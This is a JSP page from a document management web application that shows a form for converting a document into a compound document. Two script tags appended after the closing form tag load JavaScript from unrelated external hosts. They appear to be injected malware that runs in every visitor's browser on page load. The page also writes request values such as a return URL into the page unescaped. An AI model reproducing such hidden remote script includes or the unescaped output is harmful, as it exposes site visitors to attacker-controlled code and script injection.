<%
/*
 * @(#)EditDmsConvertToCompoundDoc.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsConvertToCompoundDoc.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    08/11/2004
    @version          $Revision: 1.9.34.9 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsCompoundDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>

<html:form type="maintDmsCompoundDocumentForm" enctype="multipart/form-data" action="dms/MaintDmsConvertToCompoundDoc" onsubmit="return(false)">

<html:javascript formName="maintDmsCompoundDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String      ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  try {
  Integer ID           = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getID());
  Integer rootID       = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getParentID());
  String  documentType  = maintDmsCompoundDocumentForm.getDocumentType();
  String  opMode = maintDmsCompoundDocumentForm.getOpMode();

  Integer curDocID = parentID;

  String sCurFunctionCode = maintDmsCompoundDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsCompoundDocumentForm.getCurFunctionCode();
  if (Utility.isEmpty(sCurFunctionCode)){
    sCurFunctionCode = "SystemFunctionConstant.DMS_EMPTY_FILE";
  }

  String homePageFunctionCode="";

   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
   }

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  ForumManager forumManager=new ForumManager(sessionContainer,conn);

  DmsDocument parentDoc = (DmsDocument)docRetrievalManager.getDocument(parentID);

  DmsDocument currentDocument = new DmsDocument();
  if (!Utility.isEmpty(maintDmsCompoundDocumentForm.getID()) && !"null".equals(maintDmsCompoundDocumentForm.getID()) ){
    currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getID()));
  }

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String location = (String)request.getAttribute("location");
  if (Utility.isEmpty(location)){
    location = docRetrievalManager.getLocationPath(parentID);
  }

  String permission = request.getParameter("permission");

   DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(rootID);

    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
      //sCurFunctionCode=SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ID);
      //sCurFunctionCode=SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }

    String destinationID="";
    if(!Utility.isEmpty(parentID)){
      destinationID=parentID.toString();
    }
    if(!Utility.isEmpty(request.getParameter("destinationID"))){
      destinationID=request.getParameter("destinationID");
    }

    String targetRootID="";
    if(!Utility.isEmpty(rootID)){
      targetRootID=rootID.toString();
    }
    if(!Utility.isEmpty(request.getParameter("targetRootID"))){
      targetRootID=request.getParameter("targetRootID");
    }
%>

<script language="javascript">
<!--

g_curr_function_code='<%=sCurFunctionCode%>';

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=request.getAttribute("documentID")%>&version=TOP&isDownload=Y";
}
<% } %>

function OpSelfSave(){
  if(document.maintDmsCompoundDocumentForm.uploadFile.value == null || document.maintDmsCompoundDocumentForm.uploadFile.value == ''){
    alert("<bean:message key='dms.message.choose_file'/>");
    return (true);
  }
  document.maintDmsCompoundDocumentForm.opMode.value="CONVERT";
  document.maintDmsCompoundDocumentForm.submit();
  return(false);
}

-->
</script>

<!-- Menu Layer Begin -->
<!-- Menu Layer End   -->



<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>

<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property="destinationID" value="<%=destinationID%>"/>
<html:hidden property="targetRootID" value="<%=targetRootID%>"/>
<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>

<html:hidden property="emailAttachment"/>

<!-- Page Title Section -->
<%String functionType = "";
    functionType = "dms.label.convert_to_compound";
 %>
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" functionType='<%=functionType%>'/></font>
<layout:returnButton>
<%if(Utility.isEmpty(maintDmsCompoundDocumentForm.getReturnTo())){
    if(Utility.isEmpty(homePageFunctionCode)){%>
      ListDmsDocument.do?opMode=<%=ACTION_MODE%>&rootID=<%=rootID%>&parentID=<%=parentID%>
    <%}else{%>
      <%if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){%>
        <%=request.getContextPath()%>/Home.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
      <%}%>
    <%}%>
  <%}else{%>
    <%=maintDmsCompoundDocumentForm.getReturnTo()%>
  <%}%>
</layout:returnButton>
</layout:titleFormat>
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- short summary of document information begin -->
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr><td>
   <table bgcolor="#FFFFFF" width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr bgcolor="#FFFFFF">
    <!-- Section Header -->
    <%String sectionLabel = "dms.label.doc_info";
      if (!Utility.isEmpty(documentType)){
        sectionLabel = sectionLabel + "_" + documentType;
      }%>
     <td class="sectionTitle" colspan="3" nowrap><bean:message key='<%=sectionLabel%>'/>:</td>
    </tr>
    <tr>
      <td class="blackline" colspan="3" align="center"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width='150' valign='top'><bean:message key="dms.label.name_label_D"/>:&nbsp;</td>
      <td class="formFieldSmall" width='350'>
          <nobr>&nbsp;<dms:documentInfo docObject='<%=(DmsDocument)currentDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='<%="showCompoundIndexFlag"%>' /></nobr>
      </td>
      <td class="formFieldSmall" width='400'>&nbsp;
      </td>
    </tr>
    <%//if (!Utility.isEmpty(objectID) && GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)){%>
    <tr>
      <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
      <td class="formFieldSmall" colspan="2" width='750'>
      &nbsp;<dms:locationPath parentID="<%=currentDocument.getParentID()%>" rootID="<%=currentDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
      </td>
    </tr>
    <%//}%>
    <tr>
      <td class="blackline" colspan="3" align="center"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
   </table>
  </td></tr>
  <tr>
    <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='5'/></td>
  </tr>

<!-- short summary of document information end -->

  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr><td colspan="2" align="left">
  <layout:sectionHeader name='dms.label.included_document_list'/>
  </td></tr>
  <tr><td colspan="2" align="left">
  <table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
   <tr>
    <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
      <html:file property="uploadFile" size="25" value="<%=maintDmsCompoundDocumentForm.getDocumentName()%>"/>
      <html:hidden property="documentName"/></td>
   <tr>
  </table>
  </td></tr>
  <tr>
    <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='5'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsCompoundDocumentForm.getOpMode())) {%>
      <%
        String curFunctionCode=Utility.isEmpty(maintDmsCompoundDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsCompoundDocumentForm.getCurFunctionCode());
        pageContext.setAttribute("curFunctionCode", curFunctionCode);
      %>
      <html:standardButton label="common.label.edit" link='<%="MaintDmsCompoundDocument.do?navMode=E&ID=${maintDmsCompoundDocumentForm.ID}&parentID=${maintDmsCompoundDocumentForm.parentID}&rootID=${maintDmsCompoundDocumentForm.rootID}${curFunctionCode}"%>'/>
    <%}%>

    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
    </logic:equal>
    <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
      <html:permissionButton label="dms.label.list_compound_document" functionCode='<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>' right='I' link='<%="ListDmsCompoundDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    <%}else if(DmsDocument.PAPER_DOC_TYPE.equals(documentType)){%>
      <html:permissionButton label="dms.label.list_paper_document" functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='I' link='<%="ListDmsPaperDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    <%}%>
    </td>
  </tr>

<!-- Table Showing Record List End -->

</table>
</td></tr>
</table>
<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
}%>

</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>